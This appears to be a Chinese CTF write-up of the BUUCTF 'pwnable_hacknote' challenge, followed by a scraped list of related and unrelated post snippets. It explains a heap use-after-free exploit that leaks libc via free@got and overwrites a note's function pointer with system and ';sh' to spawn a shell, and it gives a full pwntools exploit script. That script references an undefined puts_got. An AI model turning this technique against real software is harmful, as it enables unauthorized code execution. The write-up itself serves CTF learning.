[BUUCTF]PWN——pwnable_hacknote
pwnable_hacknote
步骤:
- 例行检查,32位程序,开启了nx和canary保护

- 本地试运行看一下大概的情况,熟悉的堆的菜单

- 32位ida载入
add()



gdb看一下堆块的布局更方便理解

delete()

show()

利用思路:使用uaf泄露libc,计算system,执行system(‘/bin/sh’)获取shell
泄露libc
print_note的打印功能可以帮助泄露地址。
- 先add chunk0,add chunk1,大小都为0x80。
add(0x80,'aaaa')#0
add(0x80,'bbbb')#1

- 然后delete chunk1,chuk0.此时再申请add chunk2,大小为8. 那么chunk2的note块就是chunk0的note块,chunk2的content块就是chunk1的note块(fastbin的原则是LIFO)。此时向content2中写入puts函数地址(保持不变,还是原来的)和free@got地址
delete(1)
delete(0)
payload = p32(0x804862b)+p32(0x804a018)
add(8,payload)#2


- 上面分析了show功能的执行是根据note块里的puts函数地址打印content地址上的内容,这样在调用 show(chunk2)时,就会执行puts(free@got地址),将free函数的实际地址泄露,再根据偏移泄露system函数地址。
add(0x80,'aaaa')#0
add(0x80,'bbbb')#1
delete(1)
delete(0)
payload = p32(0x804862b)+p32(0x804a018)
add(8,payload)#2
show(1)
free_addr = u32(p.recv(4))
offset = libc.symbols['system'] - libc.symbols['free']
system_addr = free_addr + offset
执行system(‘/bin/sh’)
用上述的方法,将note的puts函数地址覆写成system函数的地址,将要打印的地址的内容chunk的地址改写成‘/bin/sh’,但是这样失败了,百度后得知如果将puts函数地址覆盖为system地址,system的参数是system函数地址本身,这样肯定不行。但是使用连续执行多条命令的’ ; ‘,第一条执行错误会被忽略,然后执行下一条,因此可以成功将content位置覆盖成 ‘;sh\0’或||sh,同样的然后show(chunk1)就能执行system(‘sh’)得到shell了
delete(2)
payload = p32(system_addr) + ';sh\0'
add(8,payload)
show(1)
完整exp
from pwn import *
context.log_level='debug'
#p = remote('node3.buuoj.cn',25799)
p=process('./hacknote')
libc = ELF('./libc-2.23-32.so')
def add(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Note size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.send(content)
def delete(index):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
def show(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
add(0x80,'aaaa')
add(0x80,'bbbb')
gdb.attach(p)
delete(1)
delete(0)
payload = p32(0x804862b)+p32(puts_got)
add(8,payload)
show(1)
free_addr = u32(p.recv(4))
offset = libc.symbols['system'] - libc.symbols['free']
system_addr = free_addr + offset
delete(2)
payload = p32(system_addr) + ';sh\0'
add(8,payload)
show(1)
p.interactive()

[BUUCTF]PWN——pwnable_hacknote的更多相关文章
- [BUUCTF]PWN——babyheap_0ctf_2017
[BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- [BUUCTF]PWN——hitcontraining_uaf
[BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...
- BUUCTF PWN部分题目wp
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...
- buuctf --pwn part2
pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...
- buuctf pwn wp---part1
pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...
- [BUUCTF]PWN——ciscn_2019_es_7[详解]
ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...
- [BUUCTF]PWN——mrctf2020_easyoverflow
mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...
- [BUUCTF]PWN——0ctf_2017_babyheap
0ctf_2017_babyheap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,经典的堆题的菜单 main函数 add() edit() delete() show ...
随机推荐
- python实现图像梯度
一,定义与作用 图像梯度作用:获取图像边缘信息 二,Sobel 算子与函数的使用 (1)Sobel 算子------来计算变化率 (2)Sobel函数的使用 (3-1)代码实现(分别): (3-2)代 ...
- JVM 是用什么语言写的?
JAVA中就虚拟机是其它语言开发的,用的是C语言+汇编语言 基于此之上就是JAVA本身了 虚拟机只起到解析作用另外,JAVA并不比C语言慢,说JAVA慢一般是九十年代那时候的JAVA, 而现在 在 ...
- [luogu5464]缩小社交圈
不难证明合法当且仅当满足一下两个条件: 1.每一个位置最多被覆盖两次(无环) 2.将选择的区间按左端点从小到大排序,对于每一个左端点,其之前的区间的最大右端点不小于其(连通) (关于第一个的充分性证明 ...
- [atARC099E]Independence
考虑这张图的反图,相当于这两个集合内部没有边,这也就是二分图的限制 换言之,我们要将这张图黑白染色(不能则为-1),$x$即为某种颜色的数个数 对于一个联通块,记连通块大小为$sz$,则白色点个数为$ ...
- [loj3339]美食家
令$f[i][j]$表示第$i$个时刻走到点$j$的最小时间,暴力的$dp$复杂度为$o(tm)$ 如果没有限制,由于$w\le 5$,记录前5个时刻的状态即可求出当前状态,用矩阵乘法可优化到$o(n ...
- Dapr初体验之服务调用
初次理解服务调用 在微服务中,有一个难点就是:如果你想使用各个服务组件,你就得知道不同服务的地址和端口,也就是服务发现. 在传统应用我们是怎么做的?就是在web项目里配置上api地址,如下: 在一个w ...
- vue-ref指令
$refs是数组
- Codeforces 1603D - Artistic Partition(莫反+线段树优化 dp)
Codeforces 题面传送门 & 洛谷题面传送门 学 whk 时比较无聊开了道题做做发现是道神题( 介绍一种不太一样的做法,不观察出决策单调性也可以做. 首先一个很 trivial 的 o ...
- Atcoder Grand Contest 032 E - Modulo Pairing(乱搞+二分)
Atcoder 题面传送门 & 洛谷题面传送门 神仙调整+乱搞题. 首先某些人(including me)一看到最大值最小就二分答案,事实上二分答案对这题正解没有任何启发. 首先将 \(a_i ...
- Matlab 代码注释
Matlab 代码注释 一直在找类似doxygen一样将程序注释发表成手册的方法,现在发现,Matlab的publish功能自己就能做到. Publish 简介 并非所有注释都能作为文本进行输出,MA ...